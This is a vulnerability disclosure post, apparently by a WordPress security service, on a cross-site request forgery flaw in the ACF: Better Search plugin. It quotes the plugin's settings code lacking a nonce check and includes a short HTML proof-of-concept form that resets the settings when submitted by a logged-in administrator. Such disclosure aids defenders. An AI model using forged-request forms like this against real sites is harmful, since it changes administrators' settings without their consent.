26 Jun

Cross-Site Request Forgery (CSRF)/Settings Change Vulnerability in ACF: Better Search

One of the ways we make sure customers of our service have the best data on vulnerabilities in WordPress plugins they use is that we monitor changes being made to plugins for indications that vulnerabilities have been fixed. We often find that issues haven’t been fully resolved or that there are other related issues still in the plugin. That was the case when we looked into the details of a vulnerability in the plugin WebP Converter for Media, which in part involved a lack of protection against cross-site request forgery (CSRF). What we also noted was another instance of that, which also impacted another more popular plugin by the same developer, ACF: Better Search.

That plugin makes its settings page available to those with the “manage_options” capability, so normally only Administrators:

20
21
22
23
24
25
26
27
  add_submenu_page(
	'options-general.php',
	'ACF: Better Search',
	'ACF: Better Search',
	'manage_options',
	'acfbs_admin_page',
	[$this, 'showSettingsPage']
  );

Accessing that causes the function showSettingsPage() to run and new instance of the Save class to be created:

30
31
32
33
34
public function showSettingsPage()
{
  new Save();
  require_once ACFBS_PATH . 'resources/views/settings.php';
}

The __construct() function for that class in turn causes the function saveFeatures() to run:

7
8
9
10
11
public function __construct()
{
  $this->saveFieldsTypes();
  $this->saveFeatures();
}

That function will update the plugin’s settings:

25
26
27
28
29
30
31
32
33
34
private function saveFeatures()
{
  if (!isset($_POST['acfbs_save'])) return;
 
  $features = apply_filters('acfbs_options_features', []);
  foreach ($features as $key => $label) {
	$value = (isset($_POST['acfbs_features']) && in_array($key, $_POST['acfbs_features']));
	$this->saveOption(sprintf('acfbs_%s', $key), $value);
  }
}

What is missing there is a nonce check to prevent cross-site request forgery (CSRF) protection, so an attacker could cause a logged in Administrator to send a request that changes the settings.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause all the settings to be unchecked, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=acfbs_admin_page" method="POST">
<input type="submit" name="acfbs_save" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *